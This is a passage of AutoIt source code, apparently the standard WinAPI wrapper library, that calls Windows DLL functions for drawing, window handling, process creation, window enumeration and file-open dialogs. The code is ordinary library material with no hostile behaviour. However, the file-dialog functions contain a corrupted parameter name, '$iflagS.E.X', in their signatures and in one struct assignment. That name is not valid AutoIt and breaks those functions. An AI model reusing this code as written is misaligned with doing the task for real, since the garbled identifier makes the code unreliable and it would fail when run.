Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontW", "int", $nheight, "int", $nwidth, "int", $nescape, "int", $norientn, "int", $fnweight, "dword", $bitalic, "dword", $bunderline, "dword", $bstrikeout, "dword", $ncharset, "dword", $noutputprec, "dword", $nclipprec, "dword", $nquality, "dword", $npitch, "wstr", $szface)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createfontindirect($tlogfont)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateFontIndirectW", "struct*", $tlogfont)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createpen($ipenstyle, $iwidth, $ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreatePen", "int", $ipenstyle, "int", $iwidth, "dword", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createprocess($sappname, $scommand, $psecurity, $pthread, $finherit, $iflags, $penviron, $sdir, $pstartupinfo, $pprocess)
Local $tcommand = 0
Local $sappnametype = "wstr", $sdirtype = "wstr"
If $sappname = "" Then
$sappnametype = "ptr"
$sappname = 0
EndIf
If $scommand <> "" Then
$tcommand = DllStructCreate("wchar Text[" & 260 + 1 & "]")
DllStructSetData($tcommand, "Text", $scommand)
EndIf
If $sdir = "" Then
$sdirtype = "ptr"
$sdir = 0
EndIf
Local $aresult = DllCall("kernel32.dll", "bool", "CreateProcessW", $sappnametype, $sappname, "struct*", $tcommand, "ptr", $psecurity, "ptr", $pthread, "bool", $finherit, "dword", $iflags, "ptr", $penviron, $sdirtype, $sdir, "ptr", $pstartupinfo, "ptr", $pprocess)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_createrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createroundrectrgn($ileftrect, $itoprect, $irightrect, $ibottomrect, $iwidthellipse, $iheightellipse)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateRoundRectRgn", "int", $ileftrect, "int", $itoprect, "int", $irightrect, "int", $ibottomrect, "int", $iwidthellipse, "int", $iheightellipse)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createsolidbitmap($hwnd, $icolor, $iwidth, $iheight, $brgb = 1)
Local $hdc = _winapi_getdc($hwnd)
Local $hdestdc = _winapi_createcompatibledc($hdc)
Local $hbitmap = _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)
Local $hold = _winapi_selectobject($hdestdc, $hbitmap)
Local $trect = DllStructCreate($tagrect)
DllStructSetData($trect, 1, 0)
DllStructSetData($trect, 2, 0)
DllStructSetData($trect, 3, $iwidth)
DllStructSetData($trect, 4, $iheight)
If $brgb Then
$icolor = BitOR(BitAND($icolor, 65280), BitShift(BitAND($icolor, 255), -16), BitShift(BitAND($icolor, 16711680), 16))
EndIf
Local $hbrush = _winapi_createsolidbrush($icolor)
_winapi_fillrect($hdestdc, $trect, $hbrush)
If @error Then
_winapi_deleteobject($hbitmap)
$hbitmap = 0
EndIf
_winapi_deleteobject($hbrush)
_winapi_releasedc($hwnd, $hdc)
_winapi_selectobject($hdestdc, $hold)
_winapi_deletedc($hdestdc)
If NOT $hbitmap Then Return SetError(1, 0, 0)
Return $hbitmap
EndFunc
Func _winapi_createsolidbrush($ncolor)
Local $aresult = DllCall("gdi32.dll", "handle", "CreateSolidBrush", "dword", $ncolor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_createwindowex($iexstyle, $sclass, $sname, $istyle, $ix, $iy, $iwidth, $iheight, $hparent, $hmenu = 0, $hinstance = 0, $pparam = 0)
If $hinstance = 0 Then $hinstance = _winapi_getmodulehandle("")
Local $aresult = DllCall("user32.dll", "hwnd", "CreateWindowExW", "dword", $iexstyle, "wstr", $sclass, "wstr", $sname, "dword", $istyle, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "hwnd", $hparent, "handle", $hmenu, "handle", $hinstance, "ptr", $pparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_defwindowproc($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "lresult", "DefWindowProc", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_deletedc($hdc)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteDC", "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_deleteobject($hobject)
Local $aresult = DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hobject)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroyicon($hicon)
Local $aresult = DllCall("user32.dll", "bool", "DestroyIcon", "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_destroywindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "DestroyWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawedge($hdc, $ptrrect, $nedgetype, $grfflags)
Local $aresult = DllCall("user32.dll", "bool", "DrawEdge", "handle", $hdc, "ptr", $ptrrect, "uint", $nedgetype, "uint", $grfflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawframecontrol($hdc, $ptrrect, $ntype, $nstate)
Local $aresult = DllCall("user32.dll", "bool", "DrawFrameControl", "handle", $hdc, "ptr", $ptrrect, "uint", $ntype, "uint", $nstate)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawicon($hdc, $ix, $iy, $hicon)
Local $aresult = DllCall("user32.dll", "bool", "DrawIcon", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawiconex($hdc, $ix, $iy, $hicon, $iwidth = 0, $iheight = 0, $istep = 0, $hbrush = 0, $iflags = 3)
Local $ioptions
Switch $iflags
Case 1
$ioptions = $__winapiconstant_di_mask
Case 2
$ioptions = $__winapiconstant_di_image
Case 3
$ioptions = $__winapiconstant_di_normal
Case 4
$ioptions = $__winapiconstant_di_compat
Case 5
$ioptions = $__winapiconstant_di_defaultsize
Case Else
$ioptions = $__winapiconstant_di_nomirror
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "DrawIconEx", "handle", $hdc, "int", $ix, "int", $iy, "handle", $hicon, "int", $iwidth, "int", $iheight, "uint", $istep, "handle", $hbrush, "uint", $ioptions)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_drawline($hdc, $ix1, $iy1, $ix2, $iy2)
_winapi_moveto($hdc, $ix1, $iy1)
If @error Then Return SetError(@error, @extended, False)
_winapi_lineto($hdc, $ix2, $iy2)
If @error Then Return SetError(@error, @extended, False)
Return True
EndFunc
Func _winapi_drawtext($hdc, $stext, ByRef $trect, $iflags)
Local $aresult = DllCall("user32.dll", "int", "DrawTextW", "handle", $hdc, "wstr", $stext, "int", -1, "struct*", $trect, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_duplicatehandle($hsourceprocesshandle, $hsourcehandle, $htargetprocesshandle, $idesiredaccess, $finherithandle, $ioptions)
Local $acall = DllCall("kernel32.dll", "bool", "DuplicateHandle", "handle", $hsourceprocesshandle, "handle", $hsourcehandle, "handle", $htargetprocesshandle, "handle*", 0, "dword", $idesiredaccess, "bool", $finherithandle, "dword", $ioptions)
If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
Return $acall[4]
EndFunc
Func _winapi_enablewindow($hwnd, $fenable = True)
Local $aresult = DllCall("user32.dll", "bool", "EnableWindow", "hwnd", $hwnd, "bool", $fenable)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_enumdisplaydevices($sdevice, $idevnum)
Local $tname = 0, $iflags = 0, $adevice[5]
If $sdevice <> "" Then
$tname = DllStructCreate("wchar Text[" & StringLen($sdevice) + 1 & "]")
DllStructSetData($tname, "Text", $sdevice)
EndIf
Local $tdevice = DllStructCreate($tagdisplay_device)
Local $idevice = DllStructGetSize($tdevice)
DllStructSetData($tdevice, "Size", $idevice)
DllCall("user32.dll", "bool", "EnumDisplayDevicesW", "struct*", $tname, "dword", $idevnum, "struct*", $tdevice, "dword", 1)
If @error Then Return SetError(@error, @extended, 0)
Local $in = DllStructGetData($tdevice, "Flags")
If BitAND($in, $__winapiconstant_display_device_attached_to_desktop) <> 0 Then $iflags = BitOR($iflags, 1)
If BitAND($in, $__winapiconstant_display_device_primary_device) <> 0 Then $iflags = BitOR($iflags, 2)
If BitAND($in, $__winapiconstant_display_device_mirroring_driver) <> 0 Then $iflags = BitOR($iflags, 4)
If BitAND($in, $__winapiconstant_display_device_vga_compatible) <> 0 Then $iflags = BitOR($iflags, 8)
If BitAND($in, $__winapiconstant_display_device_removable) <> 0 Then $iflags = BitOR($iflags, 16)
If BitAND($in, $__winapiconstant_display_device_modespruned) <> 0 Then $iflags = BitOR($iflags, 32)
$adevice[0] = True
$adevice[1] = DllStructGetData($tdevice, "Name")
$adevice[2] = DllStructGetData($tdevice, "String")
$adevice[3] = $iflags
$adevice[4] = DllStructGetData($tdevice, "ID")
Return $adevice
EndFunc
Func _winapi_enumwindows($fvisible = True, $hwnd = Default)
__winapi_enumwindowsinit()
If $hwnd = Default Then $hwnd = _winapi_getdesktopwindow()
__winapi_enumwindowschild($hwnd, $fvisible)
Return $__gawinlist_winapi
EndFunc
Func __winapi_enumwindowsadd($hwnd, $sclass = "")
If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
$__gawinlist_winapi[0][0] += 1
Local $icount = $__gawinlist_winapi[0][0]
If $icount >= $__gawinlist_winapi[0][1] Then
ReDim $__gawinlist_winapi[$icount + 64][2]
$__gawinlist_winapi[0][1] += 64
EndIf
$__gawinlist_winapi[$icount][0] = $hwnd
$__gawinlist_winapi[$icount][1] = $sclass
EndFunc
Func __winapi_enumwindowschild($hwnd, $fvisible = True)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
While $hwnd <> 0
If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
__winapi_enumwindowschild($hwnd, $fvisible)
__winapi_enumwindowsadd($hwnd)
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
EndFunc
Func __winapi_enumwindowsinit()
ReDim $__gawinlist_winapi[64][2]
$__gawinlist_winapi[0][0] = 0
$__gawinlist_winapi[0][1] = 64
EndFunc
Func _winapi_enumwindowspopup()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
Local $sclass
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then
$sclass = _winapi_getclassname($hwnd)
If $sclass = "#32768" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolbarWindow32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "ToolTips_Class32" Then
__winapi_enumwindowsadd($hwnd)
ElseIf $sclass = "BaseBar" Then
__winapi_enumwindowschild($hwnd)
EndIf
EndIf
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_enumwindowstop()
__winapi_enumwindowsinit()
Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
While $hwnd <> 0
If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
$hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
WEnd
Return $__gawinlist_winapi
EndFunc
Func _winapi_expandenvironmentstrings($sstring)
Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
If @error Then Return SetError(@error, @extended, "")
Return $aresult[2]
EndFunc
Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_fatalappexit($smessage)
DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
Local $aresult
If IsPtr($hbrush) Then
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush)
Else
$aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush)
EndIf
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_findexecutable($sfilename, $sdirectory = "")
Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
If @error Then Return SetError(@error, @extended, 0)
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_findwindow($sclassname, $swindowname)
Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_flashwindow($hwnd, $finvert = True)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
Local $tflash = DllStructCreate($tagflashwinfo)
Local $iflash = DllStructGetSize($tflash)
Local $imode = 0
If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption)
If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray)
If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer)
If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg)
DllStructSetData($tflash, "Size", $iflash)
DllStructSetData($tflash, "hWnd", $hwnd)
DllStructSetData($tflash, "Flags", $imode)
DllStructSetData($tflash, "Count", $icount)
DllStructSetData($tflash, "Timeout", $itimeout)
Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_floattoint($nfloat)
Local $tfloat = DllStructCreate("float")
Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
DllStructSetData($tfloat, 1, $nfloat)
Return DllStructGetData($tint, 1)
EndFunc
Func _winapi_flushfilebuffers($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
Local $sbuffertype = "struct*"
If IsString($pbuffer) Then $sbuffertype = "wstr"
Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
If @error Then Return SetError(@error, @extended, 0)
If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_framerect($hdc, $ptrrect, $hbrush)
Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_freelibrary($hmodule)
Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getancestor($hwnd, $iflags = 1)
Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getasynckeystate($ikey)
Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getbkmode($hdc)
Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getclassname($hwnd)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, False)
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getclientheight($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
Func _winapi_getclientwidth($hwnd)
Local $trect = _winapi_getclientrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
Func _winapi_getclientrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getcurrentprocess()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentprocessid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthread()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthreadid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcursorinfo()
Local $tcursor = DllStructCreate($tagcursorinfo)
Local $icursor = DllStructGetSize($tcursor)
DllStructSetData($tcursor, "Size", $icursor)
DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
If @error Then Return SetError(@error, @extended, 0)
Local $acursor[5]
$acursor[0] = True
$acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
$acursor[2] = DllStructGetData($tcursor, "hCursor")
$acursor[3] = DllStructGetData($tcursor, "X")
$acursor[4] = DllStructGetData($tcursor, "Y")
Return $acursor
EndFunc
Func _winapi_getdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdesktopwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdevicecaps($hdc, $iindex)
Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getdlgctrlid($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdlgitem($hwnd, $iitemid)
Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getfocus()
Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getforegroundwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_geticoninfo($hicon)
Local $tinfo = DllStructCreate($tagiconinfo)
DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
If @error Then Return SetError(@error, @extended, 0)
Local $aicon[6]
$aicon[0] = True
$aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
$aicon[2] = DllStructGetData($tinfo, "XHotSpot")
$aicon[3] = DllStructGetData($tinfo, "YHotSpot")
$aicon[4] = DllStructGetData($tinfo, "hMask")
$aicon[5] = DllStructGetData($tinfo, "hColor")
Return $aicon
EndFunc
Func _winapi_getfilesizeex($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[2]
EndFunc
Func _winapi_getlasterrormessage()
Local $tbufferptr = DllStructCreate("ptr")
Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $tbufferptr, 0, 0)
If @error Then Return SetError(@error, 0, "")
Local $stext = ""
Local $pbuffer = DllStructGetData($tbufferptr, 1)
If $pbuffer Then
If $ncount > 0 Then
Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
$stext = DllStructGetData($tbuffer, 1)
EndIf
_winapi_localfree($pbuffer)
EndIf
Return $stext
EndFunc
Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False)
$i_transcolor = -1
$transparency = -1
Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
If NOT $ascolorref Then
$aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
EndIf
$i_transcolor = $aresult[2]
$transparency = $aresult[3]
Return $aresult[4]
EndFunc
Func _winapi_getmodulehandle($smodulename)
Local $smodulenametype = "wstr"
If $smodulename = "" Then
$smodulename = 0
$smodulenametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
Local $imode = Opt("MouseCoordMode", 1)
Local $apos = MouseGetPos()
Opt("MouseCoordMode", $imode)
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $apos[0])
DllStructSetData($tpoint, "Y", $apos[1])
If $ftoclient Then
_winapi_screentoclient($hwnd, $tpoint)
If @error Then Return SetError(@error, @extended, 0)
EndIf
Return $tpoint
EndFunc
Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "X")
EndFunc
Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_getobject($hobject, $isize, $pobject)
Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagS.E.X = 0, $hwndowner = 0)
Local $ipathlen = 4096
Local $inulls = 0
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $stfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagS.E.X)
DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
If @error Then Return SetError(@error, @extended, $afiles)
If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
For $x = 1 To $ipathlen
If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
DllStructSetData($tpath, "Path", "|", $x)
$inulls += 1
Else
$inulls = 0
EndIf
If $inulls = 2 Then ExitLoop
Next
DllStructSetData($tpath, "Path", Chr(0), $x - 1)
$afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
Return StringSplit(DllStructGetData($tpath, "Path"), "|")
ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
$afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
Else
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndIf
EndFunc
Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False)
Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
If @error Then Return SetError(@error, @extended, False)
$ibytes = $aresult[3]
Return $aresult[0]
EndFunc
Func _winapi_getparent($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getprocessaffinitymask($hprocess)
Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $amask[3]
$amask[0] = True
$amask[1] = $aresult[2]
$amask[2] = $aresult[3]
Return $amask
EndFunc
Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagS.E.X = 0, $hwndowner = 0)
Local $ipathlen = 4096
